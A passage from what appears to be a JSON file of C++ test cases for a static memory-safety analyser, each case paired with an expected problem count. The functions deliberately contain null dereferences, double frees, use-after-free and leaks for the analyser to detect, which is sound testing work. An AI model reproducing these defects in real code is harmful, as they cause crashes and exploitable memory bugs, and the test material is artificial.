== 52) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid dispatch_to_Derived_ptr_bad() {\n Base* derived = getDerivedPtr();\n if (derived->foo() == 52) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n} // namespace dynamic_dispatch\n" + }, + { + "testname": "exit_test.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\n// we get two disjuncts one for each branch\nvoid exit_positive(int a[10], int b) {\n if (b < 1) {\n exit(0);\n }\n}\n\nvoid unreachable_double_free_ok(int a[10], int b) {\n exit_positive(a, 0);\n free(a);\n free(a);\n}\n\nvoid store_exit(int* x, bool b) {\n if (b) {\n *x = 42;\n exit(0);\n }\n}\n\nvoid store_exit_null_bad() { store_exit(NULL, true); }\n" + }, + { + "testname": "fbstring.cpp", + "testlanguage": "c++", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\n// Caricature of folly::basic_fbstring without the union between small\n// and medium/large data representations, and with an explicit field\n// for category_ instead of bitmasking part of the data value.\n// ref:\n// https://github.com/facebook/folly/blob/72850c2ebfb94d87bea74d89fcf79f3aaa91a627/folly/FBString.h\n\nenum category {\n small = 0, // ignore small strings for now\n medium = 1,\n large = 2,\n};\n\nvoid* checkedMalloc(size_t size) {\n void* ptr = malloc(size);\n if (ptr == nullptr) {\n exit(1);\n }\n return ptr;\n}\n\nstruct LikeFBString {\n int category_;\n char* buffer_;\n size_t size_;\n unsigned int* refcount_;\n\n LikeFBString() { category_ = 0; }\n\n LikeFBString(const LikeFBString& src) {\n category_ = src.category();\n switch (src.category_) {\n case small:\n break;\n case medium:\n copyMedium(src);\n break;\n case large:\n copyLarge(src);\n break;\n default:\n exit(2);\n }\n }\n\n ~LikeFBString() {\n if (category() == medium) {\n free(buffer_);\n } else if (category() == large) {\n decr_ref_count();\n }\n }\n\n void copySmall(const LikeFBString& src) {}\n\n void copyMedium(const LikeFBString& src) {\n buffer_ = (char*)checkedMalloc(src.size_);\n size_ = src.size_;\n }\n\n void copyLarge(const LikeFBString& src) {\n buffer_ = src.buffer_;\n size_ = src.size_;\n refcount_ = src.refcount_;\n *refcount_ = *refcount_ + 1;\n }\n\n int category() const { return category_; }\n\n void decr_ref_count() {\n if (*refcount_ <= 0) {\n exit(1);\n }\n *refcount_ = *refcount_ - 1;\n if (*refcount_ == 0) {\n free(buffer_);\n }\n }\n};\n\nvoid copy_fbstring(LikeFBString& s) {\n // this might alias the underlying buffers if the string is large in\n // that case the destruction of t does not de-allocate its buffer\n // but pulse might think it does if it fails to remember which\n // category t belongs to and follows impossibly control flow\n LikeFBString t = s;\n}\n\nvoid pass_to_copy_ok() {\n LikeFBString s;\n copy_fbstring(s);\n}\n" + }, + { + "testname": "folly_DestructorGuard.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace folly {\n\nclass DelayedDestructionBase {};\n\nclass DelayedDestruction : public DelayedDestructionBase {\n public:\n virtual void destroy() { delete this; } // model ignores delete\n};\n\n} // namespace folly\n\nclass UsingDelayedDestruction : folly::DelayedDestruction {\n\n void double_delete_bad() {\n delete this;\n delete this;\n }\n\n void double_delete_ok() {\n destroy(); // should not delete this double delete\n delete this;\n }\n};\n" + }, + { + "testname": "frontend.cpp", + "testlanguage": "c++", + "expected-problems": 65, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace frontend {\n\nnamespace some {\nnamespace thing {\nusing foo_int = int;\nint* bad_ptr() {\n int* p = new (int);\n delete p;\n return p;\n}\n} // namespace thing\n} // namespace some\n\n// test that NamespaceAliasDecl is handled correctly\nvoid deref_null_namespace_alias_ptr_bad() {\n namespace st = some::thing;\n st::foo_int x = 0;\n int* p = st::bad_ptr();\n *p = x;\n}\n\nstruct X {\n int f;\n X() {}\n X(int i) : f(i) {}\n X(X& from) : f(from.f) {}\n X(X&& from) : f(from.f) {}\n ~X() {}\n int get_f() const { return f; }\n};\n\nvoid construct_in_conditional_ok() {\n if (X(44).f != 44) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nbool is_zero(const X& x) { return x.get_f() == 0; }\n\nvoid temp_passed_in_conditional_ok() {\n X x{44};\n if (is_zero(x)) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid conditional_construction_xvalue_ok() {\n X x = true ? X(44) : X(33);\n if (x.f != 44) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid conditional_construction_lvalue_ok() {\n const X& x = true ? X(44) : X(33);\n if (x.f != 44) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid conditional_construction_int_lvalue_ok() {\n const int& x = true ? 44 : 33;\n if (x != 44) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid conditional_construction_int_ptr_ok() {\n int* p = nullptr;\n int j = 44;\n int* x = true ? &j : p;\n int* y = true ? p : &j;\n if (*x != 44 || y != nullptr) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid conditional_expression_bad(bool b) {\n bool ok = false;\n ok = ok && b;\n if (!ok) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nclass Frontend {\n public:\n int a;\n\n Frontend(int n) { a = (n == 0) ? 0 : 1; }\n\n Frontend(Frontend x, int n) {\n x.a = (n == 0) ? 0 : 1;\n a = x.a;\n }\n\n void set_field_via_local(int n) {\n int* b = (int*)malloc(sizeof(int));\n if (b) {\n *b = 0;\n *b = (n == 0) ? 0 : 1;\n a = *b;\n free(b);\n } else {\n a = (n == 0) ? 0 : 1;\n }\n }\n};\n\nvoid call_Frontend_constructor_ok() {\n Frontend x = Frontend(10); // x.a is 1\n if (x.a != 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid call_Frontend_constructor_bad() {\n Frontend x = Frontend(10); // x.a is 1\n if (x.a == 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid call_Frontend_constructor2_ok() {\n Frontend x = Frontend(0); // x.a is 0\n Frontend y = Frontend(x, 10); // y.a is 1\n if (y.a != 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid call_Frontend_constructor2_bad() {\n Frontend x = Frontend(0); // x.a is 0\n Frontend y = Frontend(x, 10); // y.a is 1\n if (y.a == 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid call_set_field_via_local_ok() {\n Frontend x = Frontend(0); // x.a is 0\n x.set_field_via_local(10); // x.a is 1\n if (x.a != 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid call_set_field_via_local_bad() {\n Frontend x = Frontend(0); // x.a is 0\n x.set_field_via_local(10); // x.a is 1\n if (x.a == 1) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid not_boolean_ok() {\n bool t = true;\n bool* b = (bool*)malloc(sizeof(bool));\n if (b) {\n *b = true;\n *b = !t; // *b is false\n if (*b) {\n int* p = nullptr;\n *p = 42;\n }\n free(b);\n }\n}\n\nvoid not_boolean_bad() {\n bool f = false;\n bool* b = (bool*)malloc(sizeof(bool));\n if (b) {\n *b = false;\n *b = !f; // *b is true\n if (*b) {\n int* p = nullptr;\n *p = 42;\n }\n free(b);\n }\n}\n\nstruct double_fields_struct {\n int v;\n int a;\n};\n\ndouble_fields_struct get_double_fields_struct() {\n double_fields_struct b;\n b.v = 42;\n b.a = 42;\n return b;\n}\n\nvoid init_double_fields_struct_ok() {\n double_fields_struct y{get_double_fields_struct()};\n if (y.v != 42) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nstruct single_field_struct {\n int v;\n};\n\nsingle_field_struct get_single_field_struct() {\n single_field_struct b;\n b.v = 42;\n return b;\n}\n\nvoid FP_init_single_field_struct_ok() {\n single_field_struct y{get_single_field_struct()};\n if (y.v != 42) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nstruct Base {\n Base(int* p1, int* p2) { *p1 = 42; }\n};\n\nstruct ForwardConstructorParams : Base {\n // check that the parameters are forwarded in the correct order by the\n // frontend\n using Base::Base;\n};\n\nvoid derived_constructor_forwards_param_ok() {\n int x;\n ForwardConstructorParams A{&x, NULL};\n}\n\n} // namespace frontend\n" + }, + { + "testname": "funptr.cpp", + "testlanguage": "c++", + "expected-problems": 114, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid do_nothing(int**) { return; }\n\nvoid assign_nullptr(int** ptr) { *ptr = nullptr; }\n\nvoid call_funptr(void (*funptr)(int**), int** ptr) { (*funptr)(ptr); }\n\nvoid call_call_funptr(void (*funptr)(int**), int** ptr) {\n call_funptr(funptr, ptr);\n}\n\n// Basic case: specialized in pre-analysis\n\nvoid test_syntactic_specialization_bad(int* ptr) {\n call_call_funptr(&assign_nullptr, &ptr);\n *ptr = 42; // nullptr dereference here\n}\n\n// Specialize over returned funptr\n\nvoid (*return_funptr(void))(int**) { return &assign_nullptr; }\n\nvoid test_returned_funptr_specialization_bad(int* ptr) {\n void (*funptr)(int**) = return_funptr();\n call_call_funptr(funptr, &ptr);\n *ptr = 42; // nullptr dereference here\n}\n\n// Playing around with conditions\n\nint funptr_if_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n (*funptr)(&ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_if_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_nullptr;\n }\n (*funptr)(&ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_else_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_nullptr;\n }\n (*funptr)(&ptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\nint funptr_else_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n (*funptr)(&ptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\nvoid apply_funptr_with_intptrptr(void (*funptr)(int**), int** ptr) {\n (*funptr)(ptr);\n}\n\nint funptr_apply_funptr_with_intptrptr_specialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr(funptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_apply_funptr_with_intptrptr_specialized_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_nullptr;\n }\n apply_funptr_with_intptrptr(funptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nvoid apply_funptr_with_intptrptr_and_after(void (*funptr)(int**),\n void (*after)(int**),\n int** ptr) {\n int x = 0;\n if (x) {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr(funptr, ptr);\n (*after)(ptr);\n}\n\nvoid dereference_dereference_ptr(int** ptr) { int x = **ptr; }\n\nint funptr_apply_funptr_with_intptrptr_and_after_specialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n void (*after)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n after = &dereference_dereference_ptr;\n } else {\n funptr = &do_nothing;\n after = &do_nothing;\n }\n apply_funptr_with_intptrptr_and_after(\n funptr,\n after,\n &ptr); // Calling funptr assigned in if branch. NPE when calling after\n return *ptr;\n}\n\nint funptr_apply_funptr_with_intptrptr_and_after_respecialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr_and_after(\n funptr,\n &dereference_dereference_ptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nvoid conditionnaly_apply_funptr_with_intptrptr(int x,\n int** ptr,\n void (*funptr)(int** ptr)) {\n if (x) {\n (*funptr)(ptr);\n }\n *ptr = nullptr;\n}\n\nint funptr_conditionnaly_apply_funptr_with_intptrptr_unspecialized_bad() {\n int x = 0;\n int* ptr = nullptr;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n conditionnaly_apply_funptr_with_intptrptr(\n x, &ptr, funptr); // funptr is not called; function is not specialized\n return *ptr;\n}\n\nint funptr_conditionnaly_apply_funptr_with_intptrptr_specialized_bad() {\n int x = 1;\n int* ptr = nullptr;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_nullptr;\n } else {\n funptr = &do_nothing;\n }\n conditionnaly_apply_funptr_with_intptrptr(\n x, &ptr, funptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\n// Playing around with objects\n\nclass FunPtrCallback {\n private:\n void (*_callback)(int**);\n\n public:\n FunPtrCallback(void (*callback)(int**)) : _callback(callback) {}\n\n void set(void (*callback)(int**)) { this->_callback = callback; }\n\n void apply(int** ptr) { (*this->_callback)(ptr); }\n};\n\nvoid apply_callback(FunPtrCallback& callback, int** ptr) {\n callback.apply(ptr);\n}\n\nvoid test_assign_nullptr_callback_bad(int* ptr) {\n FunPtrCallback callback(&assign_nullptr);\n apply_callback(callback, &ptr);\n *ptr = 42; // nullptr dereference here\n}\n\nvoid test_do_nothing_callback_good(int* ptr) {\n FunPtrCallback callback(&do_nothing);\n apply_callback(callback, &ptr);\n *ptr = 42; // latent nullptr dereference here\n}\n\nvoid test_update_callback_bad(FunPtrCallback& callback, int* ptr) {\n callback.set(&assign_nullptr);\n apply_callback(callback, &ptr);\n *ptr = 42; // nullptr dereference here\n}\n\nvoid test_update_callback_good(FunPtrCallback& callback, int* ptr) {\n callback.set(&do_nothing);\n apply_callback(callback, &ptr);\n *ptr = 42; // latent nullptr dereference here\n}\n" + }, + { + "testname": "globals.cpp", + "testlanguage": "c++", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// test templated globals manipulations\n\ntemplate \nbool templated_global;\n\nvoid set_templated_global_int(bool b) { templated_global = b; }\n\nvoid set_templated_global_bool(bool b) { templated_global = b; }\n\n// check that we handle different instantiations of the same templated global\n// correctly\nvoid several_instantiations_bad() {\n set_templated_global_int(true);\n set_templated_global_bool(false);\n if (templated_global && !templated_global) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n// test global initializers\n\nconstexpr bool yes = true;\n\ntemplate \nconstexpr bool templated_const_global = false;\n\ntemplate <>\nconstexpr bool templated_const_global = true;\n\nstruct X;\n\nvoid read_templated_const_global_then_crash_bad() {\n if (yes && templated_const_global && !templated_const_global) {\n int* p = nullptr;\n *p = 42;\n }\n}\n" + }, + { + "testname": "instantiate_pre_addresses.cpp", + "testlanguage": "c++", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct rec {\n int* x;\n};\n\nvoid mutate_deep_pointers(rec** ptr) {\n (*ptr)->x = new int;\n (*(*ptr)->x) = 24;\n *ptr = new rec;\n}\n\nvoid no_leak_nullptr() {\n rec* r1 = new rec{nullptr};\n rec* r2 = r1;\n\n mutate_deep_pointers(&r1);\n\n if (*(r2->x) != 24) {\n int* x = nullptr;\n *x = 12;\n }\n *(r2->x) = 42;\n\n delete r1;\n delete r2->x;\n delete r2;\n}\n\nvoid set_inner_pointer_bad() {\n rec* r1 = new rec{nullptr};\n rec* r2 = r1;\n\n mutate_deep_pointers(&r1);\n\n if (*(r2->x) == 24) {\n int* x = nullptr;\n *x = 12;\n }\n\n delete r1;\n delete r2->x;\n delete r2;\n}\n\nstruct list_item {\n list_item* next;\n};\n\nstruct list {\n list_item* first;\n list_item* last;\n};\n\nvoid append(list& l) {\n list_item* new_cell = new list_item;\n new_cell->next = nullptr;\n\n if (l.last == nullptr) {\n l.first = new_cell;\n } else {\n l.last->next = new_cell;\n }\n\n l.last = new_cell;\n}\n\nvoid delete_list(list& l) {\n list_item* cell = l.first;\n list_item* next_cell;\n\n while (cell != nullptr) {\n next_cell = cell->next;\n delete cell;\n cell = next_cell;\n }\n}\n\nvoid no_leak() {\n list l = {nullptr, nullptr};\n\n append(l);\n append(l);\n\n delete_list(l);\n}\n" + }, + { + "testname": "interprocedural.cpp", + "testlanguage": "c++", + "expected-problems": 35, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct X {\n int f;\n};\n\nvoid skip(struct X& x) {}\nvoid skip_ptr(struct X* x) {}\n\nint wraps_read_inner(struct X& x) { return x.f; }\n\nint wraps_read(struct X& x) { return wraps_read_inner(x); }\n\nvoid wraps_write_inner(struct X& x, int i) { x.f = i; }\n\nvoid wraps_write(struct X& x, int i) { wraps_write_inner(x, i); }\n\nvoid wraps_delete_inner(struct X* x) { delete x; }\n\nvoid wraps_delete(struct X* x) { wraps_delete_inner(x); }\n\nvoid delete_then_skip_ok(struct X& x) {\n delete (&x);\n skip(x);\n}\n\nvoid delete_then_skip_ptr_ok(struct X* x) {\n delete x;\n skip_ptr(x);\n}\n\nvoid delete_then_read_bad(struct X& x) {\n delete (&x);\n wraps_read(x);\n}\n\nvoid delete_aliased_then_read_bad(struct X& x) {\n struct X* y = &x;\n struct X& z = x;\n delete y;\n wraps_read(z);\n}\n\nvoid delete_then_write_bad(struct X& x) {\n wraps_delete(&x);\n wraps_read(x);\n}\n\nvoid delete_inner_then_write_bad(struct X& x) {\n wraps_delete_inner(&x);\n wraps_read(x);\n}\n\n// latent because delete(&x) creates a path where &x==0 but it was dereferenced\n// before, but that does not make sense as &x cannot be null\n// Latent FP filtered out\nvoid latent_read_write_then_delete_ok(struct X& x) {\n wraps_write(x, 10);\n wraps_read(x);\n wraps_delete(&x);\n}\n\nint two_cells(struct X* x, struct X* y) {\n x->f = 32;\n y->f = 52;\n return x->f * y->f;\n}\n\nvoid aliasing_call(struct X* x) { two_cells(x, x); }\n\nstruct Y {\n int* p;\n};\n\nvoid store(struct Y* y, int* p) { y->p = p; }\n\nvoid call_store(struct Y* y) {\n int x = 42;\n store(y, &x);\n}\n\nextern bool nondet_choice();\n\nstruct Y* may_return_invalid_ptr_ok() {\n struct Y* y = new Y();\n if (nondet_choice()) {\n delete y;\n }\n return y;\n}\n\nvoid feed_invalid_into_access_bad() {\n struct Y* y = may_return_invalid_ptr_ok();\n call_store(y);\n delete y;\n}\n\nvoid invalidate_and_set_to_null(struct X** x_ptr) {\n delete (*x_ptr);\n *x_ptr = nullptr;\n}\n\nvoid access_to_invalidated_alias_bad(struct X* x, struct X* y) {\n y = x;\n invalidate_and_set_to_null(&x);\n wraps_read(*y);\n}\n\nvoid access_to_invalidated_alias2_bad(struct X* x, struct X* y) {\n y = x;\n invalidate_and_set_to_null(&y);\n wraps_read(*x);\n}\n\nvoid set_first_non_null_ok(int* x, int* y) {\n if (x) {\n *x = 42;\n } else {\n *y = 42;\n }\n}\n\nvoid set_x_then_crash_bad(int* x) {\n set_first_non_null_ok(x, nullptr);\n set_first_non_null_ok(nullptr, x);\n int* p = nullptr;\n *p = 42;\n}\n" + }, + { + "testname": "join.cpp", + "testlanguage": "c++", + "expected-problems": 17, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nvoid basic_loop_count_ok(int n) {\n for (int i = 0; i < n; i++) {\n }\n}\n\nstruct foo {\n int* val;\n};\n\nstruct list {\n struct list* next;\n struct foo* foo;\n};\n\nint invalidate_node_alias_bad(struct list* head, int cond) {\n int* result = 0;\n struct list* x = head;\n if (cond) {\n result = x->next->foo->val;\n delete result;\n } else {\n x = x->next;\n struct list* y = x->next;\n result = x->foo->val;\n delete result;\n }\n return *result;\n}\n\nvoid list_delete_ok(struct list** l) {\n auto head = *l;\n *l = nullptr;\n while (head) {\n auto tmp = head;\n head = head->next;\n if (tmp->foo) {\n free(tmp->foo);\n tmp->foo = nullptr;\n }\n }\n}\n\nstruct BasicStruct {\n void some_method() {}\n BasicStruct();\n ~BasicStruct();\n};\n\nint nested_loops_ok() {\n while (true) {\n BasicStruct x;\n for (;;) {\n x.some_method();\n }\n }\n}\n\nextern bool some_bool();\nextern BasicStruct mk_basic_struct();\n\nvoid cond_inside_loop_ok() {\n while (true) {\n BasicStruct x;\n if (some_bool()) {\n x = mk_basic_struct();\n }\n\n x.some_method();\n }\n}\n\nvoid nested_loops3_ok(std::vector* c) {\n for (auto& b : *c) {\n (&b)->~BasicStruct();\n }\n}\n\nvoid duff_switch_loop(char* to, char* from, unsigned int count) {\n unsigned int rounds = (count + 127) / 128;\n switch (count % 128) {\n case 0:\n do {\n *to = *from++;\n case 127:\n *to = *from++;\n case 126:\n *to = *from++;\n case 125:\n *to = *from++;\n case 124:\n *to = *from++;\n case 123:\n *to = *from++;\n case 122:\n *to = *from++;\n case 121:\n *to = *from++;\n case 120:\n *to = *from++;\n case 119:\n *to = *from++;\n case 118:\n *to = *from++;\n case 117:\n *to = *from++;\n case 116:\n *to = *from++;\n case 115:\n *to = *from++;\n case 114:\n *to = *from++;\n case 113:\n *to = *from++;\n case 112:\n *to = *from++;\n case 111:\n *to = *from++;\n case 110:\n *to = *from++;\n case 109:\n *to = *from++;\n case 108:\n *to = *from++;\n case 107:\n *to = *from++;\n case 106:\n *to = *from++;\n case 105:\n *to = *from++;\n case 104:\n *to = *from++;\n case 103:\n *to = *from++;\n case 102:\n *to = *from++;\n case 101:\n *to = *from++;\n case 100:\n *to = *from++;\n case 99:\n *to = *from++;\n case 98:\n *to = *from++;\n case 97:\n *to = *from++;\n case 96:\n *to = *from++;\n case 95:\n *to = *from++;\n case 94:\n *to = *from++;\n case 93:\n *to = *from++;\n case 92:\n *to = *from++;\n case 91:\n *to = *from++;\n case 90:\n *to = *from++;\n case 89:\n *to = *from++;\n case 88:\n *to = *from++;\n case 87:\n *to = *from++;\n case 86:\n *to = *from++;\n case 85:\n *to = *from++;\n case 84:\n *to = *from++;\n case 83:\n *to = *from++;\n case 82:\n *to = *from++;\n case 81:\n *to = *from++;\n case 80:\n *to = *from++;\n case 79:\n *to = *from++;\n case 78:\n *to = *from++;\n case 77:\n *to = *from++;\n case 76:\n *to = *from++;\n case 75:\n *to = *from++;\n case 74:\n *to = *from++;\n case 73:\n *to = *from++;\n case 72:\n *to = *from++;\n case 71:\n *to = *from++;\n case 70:\n *to = *from++;\n case 69:\n *to = *from++;\n case 68:\n *to = *from++;\n case 67:\n *to = *from++;\n case 66:\n *to = *from++;\n case 65:\n *to = *from++;\n case 64:\n *to = *from++;\n case 63:\n *to = *from++;\n case 62:\n *to = *from++;\n case 61:\n *to = *from++;\n case 60:\n *to = *from++;\n case 59:\n *to = *from++;\n case 58:\n *to = *from++;\n case 57:\n *to = *from++;\n case 56:\n *to = *from++;\n case 55:\n *to = *from++;\n case 54:\n *to = *from++;\n case 53:\n *to = *from++;\n case 52:\n *to = *from++;\n case 51:\n *to = *from++;\n case 50:\n *to = *from++;\n case 49:\n *to = *from++;\n case 48:\n *to = *from++;\n case 47:\n *to = *from++;\n case 46:\n *to = *from++;\n case 45:\n *to = *from++;\n case 44:\n *to = *from++;\n case 43:\n *to = *from++;\n case 42:\n *to = *from++;\n case 41:\n *to = *from++;\n case 40:\n *to = *from++;\n case 39:\n *to = *from++;\n case 38:\n *to = *from++;\n case 37:\n *to = *from++;\n case 36:\n *to = *from++;\n case 35:\n *to = *from++;\n case 34:\n *to = *from++;\n case 33:\n *to = *from++;\n case 32:\n *to = *from++;\n case 31:\n *to = *from++;\n case 30:\n *to = *from++;\n case 29:\n *to = *from++;\n case 28:\n *to = *from++;\n case 27:\n *to = *from++;\n case 26:\n *to = *from++;\n case 25:\n *to = *from++;\n case 24:\n *to = *from++;\n case 23:\n *to = *from++;\n case 22:\n *to = *from++;\n case 21:\n *to = *from++;\n case 20:\n *to = *from++;\n case 19:\n *to = *from++;\n case 18:\n *to = *from++;\n case 17:\n *to = *from++;\n case 16:\n *to = *from++;\n case 15:\n *to = *from++;\n case 14:\n *to = *from++;\n case 13:\n *to = *from++;\n case 12:\n *to = *from++;\n case 11:\n *to = *from++;\n case 10:\n *to = *from++;\n case 9:\n *to = *from++;\n case 8:\n *to = *from++;\n case 7:\n *to = *from++;\n case 6:\n *to = *from++;\n case 5:\n *to = *from++;\n case 4:\n *to = *from++;\n case 3:\n *to = *from++;\n case 2:\n *to = *from++;\n case 1:\n *to = *from++;\n } while (--rounds > 0);\n }\n}\n" + }, + { + "testname": "leaks.cpp", + "testlanguage": "c++", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nnamespace leaks {\n\ntemplate \nstruct UniquePtr {\n X* x_;\n ~UniquePtr() { delete x_; }\n UniquePtr(X* y) { x_ = y; }\n\n UniquePtr(UniquePtr& p) = delete; // no copy constructor\n UniquePtr(UniquePtr&& p) {\n x_ = p.get();\n p.x_ = nullptr;\n }\n\n X* get() const { return x_; }\n\n X& operator*() const { return *get(); }\n\n X* operator->() const { return get(); }\n};\n\nstruct X {\n int i;\n ~X() {}\n};\n\nvoid simple_new_bad() { X* x = new X; }\n\nvoid simple_new_delete_ok() {\n X* x = new X;\n delete x;\n}\n\nvoid new_placement_new_delete_ok() {\n X* x = new X;\n X* y = new (x) X();\n delete y;\n}\n\nvoid simple_new_array_bad() { X* x = new X[5]; }\n\nvoid simple_new_array_delete_array_ok() {\n X* x = new X[5];\n delete[] x;\n}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wmismatched-new-delete\"\nvoid new_array_delete_bad() {\n X* x = new X[5];\n delete x;\n}\n#pragma clang diagnostic pop\n\nvoid unique_ptr_managed_ok() {\n struct UniquePtr stack_allocated {\n new X\n };\n const struct UniquePtr& const_ref { new X };\n}\n\nvoid unique_ptr_pointer_bad() {\n struct UniquePtr* heap_allocated = new UniquePtr(new X);\n}\n\nvoid static_local_alloc_ok() { static X* x = new X; }\n\nvoid call_static_local_alloc_ok() { static_local_alloc_ok(); }\n\nvoid call_static_local_alloc_twice_ok() {\n static_local_alloc_ok();\n static_local_alloc_ok();\n}\n\nstatic UniquePtr* global_pointer;\n\nvoid global_alloc_ok() { global_pointer = new UniquePtr(new X); }\n\nvoid unknown(void* x);\n\nvoid unknown_wrapper(UniquePtr* x) { unknown(x); }\n\nvoid unknown_alloc_ok() {\n UniquePtr* x = new UniquePtr(new X);\n // could do anything, including deallocate x, so best not to report anything\n unknown(x);\n}\n\nvoid unknown_wrapper_alloc_ok() {\n UniquePtr* x = new UniquePtr(new X);\n // same as above, inter-procedurally\n unknown_wrapper(x);\n}\n\nvoid unknown_wrapper_alloc_then_leak_bad() {\n UniquePtr* x = new UniquePtr(new X);\n unknown_wrapper(x);\n x->x_ = new X;\n}\n\nstruct Y {\n int* a;\n};\n\nvoid deep_alloc_unknown_ok(Y* y) {\n y->a = new int;\n unknown(y);\n y->a = new int;\n}\n\nvoid call_deep_alloc_unknown_ok() {\n Y* y = new Y;\n deep_alloc_unknown_ok(y);\n delete y->a;\n delete y;\n}\n\nvoid store_closure_unknown(const std::function& f);\n\nvoid capture_alloc_unknown_ok() {\n X* x = new X;\n store_closure_unknown([&] { delete x; });\n}\n\nstd::function capture_alloc_return_ok() {\n X* x = new X;\n return [=]() { delete x; };\n}\n\n} // namespace leaks\n" + }, + { + "testname": "max_disjuncts.cpp", + "testlanguage": "c++", + "expected-problems": 34, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace max_disjuncts {\n\nint rand_int();\n\n// This returns the state with current maximum disjuncts (20).\nint get_full_disjs() {\n switch (rand_int()) {\n case 0:\n return 0;\n case 1:\n return 1;\n case 2:\n return 2;\n case 3:\n return 3;\n case 4:\n return 4;\n case 5:\n return 5;\n case 6:\n return 6;\n case 7:\n return 7;\n case 8:\n return 8;\n case 9:\n return 9;\n case 10:\n return 10;\n case 11:\n return 11;\n case 12:\n return 12;\n case 13:\n return 13;\n case 14:\n return 14;\n case 15:\n return 15;\n case 16:\n return 16;\n case 17:\n return 17;\n case 18:\n return 18;\n default:\n return 19;\n }\n}\n\nbool unknown_bool();\n\nvoid join_full_disjs1() {\n int x = get_full_disjs();\n if (unknown_bool()) {\n return; // 20 ContinueProgram disjuncts\n }\n throw \"exc\"; // 20 ExitProgram disjuncts\n}\n\nvoid call_join_full_disjs1_bad() {\n join_full_disjs1();\n int* p = nullptr;\n *p = 42;\n}\n\nvoid join_full_disjs2() {\n int x = get_full_disjs();\n if 